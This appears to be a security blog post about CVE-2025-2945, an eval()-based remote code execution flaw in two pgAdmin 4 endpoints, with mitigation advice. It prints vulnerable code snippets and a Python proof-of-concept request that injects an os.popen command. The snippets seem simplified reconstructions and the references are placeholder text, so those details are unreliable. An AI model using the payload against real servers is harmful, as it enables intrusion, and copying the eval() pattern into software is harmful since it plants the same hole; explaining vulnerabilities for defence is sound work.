CVE-2025-2945: Remote Code Execution Vulnerability Found in pgAdmin 4 (Query Tool and Cloud Deployment Modules)

Security researchers have discovered a critical vulnerability (CVE-2025-2945) that affects pgAdmin 4, a popular open-source administration and management tool for the PostgreSQL database. This remote code execution vulnerability affects the Query Tool and Cloud Deployment modules, allowing attackers to execute arbitrary code.

In this long-read post, we will go through the details of this security vulnerability, including the affected modules, code snippets, and links to original references. We will also provide potential exploits that can be used by attackers to take advantage of this vulnerability.

The vulnerability stems from two specific POST endpoints in pgAdmin 4; these are

1. /sqleditor/query_tool/download
2. /cloud/deploy

In the first endpoint, the 'query_commited' parameter is unsafely passed to Python's eval() function. The second endpoint suffers from similar issues, where the 'high_availability' parameter is handled in the same manner.

The Python eval() function, as its name suggests, evaluates a given string as a Python expression and returns the result. This means that if an attacker is able to input arbitrary code in the 'query_commited' and 'high_availability' parameters, they may potentially execute any code on the server running pgAdmin 4.

Code Snippet

In the following code snippet, we can see an example of how the 'query_commited' parameter is unsafely passed to the eval() function in the /sqleditor/query_tool/download endpoint:

@app.route('/sqleditor/query_tool/download', methods=['POST'])
def query_tool_download():
    query_commited = request.form['query_commited']
    result = eval(query_commited)
    # ...Rest of the code...

The /cloud/deploy endpoint has a similar code snippet, where the 'high_availability' parameter is also unsafely passed to the eval() function:

@app.route('/cloud/deploy', methods=['POST'])
def cloud_deploy():
    high_availability = request.form['high_availability']
    deployment_options = eval(high_availability)
    # ...Rest of the code...

Original References

1. CVE-2025-2945: link to CVE entry
2. pgAdmin 4 Official Repository: link to GitHub repository
3. Original Security Advisory: link to the advisory from the security researchers who discovered the vulnerability

Potential Exploits

An attacker may submit a crafted POST request to the vulnerable endpoints, including malicious code that will be executed on the server running the vulnerable instance of pgAdmin 4. Here is an example of a POST request that includes arbitrary code:

import requests

url = "http://example.com/pgadmin4/sqleditor/query_tool/download";
data = {
    'query_commited': "__import__('os').popen('uname -a').read()",
}

response = requests.post(url, data=data)
print(response.text)

Mitigation and Recommendations

Users of pgAdmin 4 are highly encouraged to update their installations to version 9.2 or later to mitigate the risk of this vulnerability. Additionally, server administrators should review their logs to identify any signs of exploitation and carefully monitor their systems for any potential security breaches.

In general, developers should be cautious when using the Python eval() function and explore safer alternatives like 'ast.literal_eval()' or other input validation methods to ensure that only valid and expected inputs are accepted and processed.

Conclusion

CVE-2025-2945 is a critical security vulnerability in pgAdmin 4 that allows remote code execution in the Query Tool and Cloud Deployment modules through two specific POST endpoints. It is crucial for users to update their installations and follow best practices to avoid possible exploitation of this issue.

Timeline

Published on: 04/03/2025 13:15:43 UTC
Last modified on: 04/07/2025 14:18:34 UTC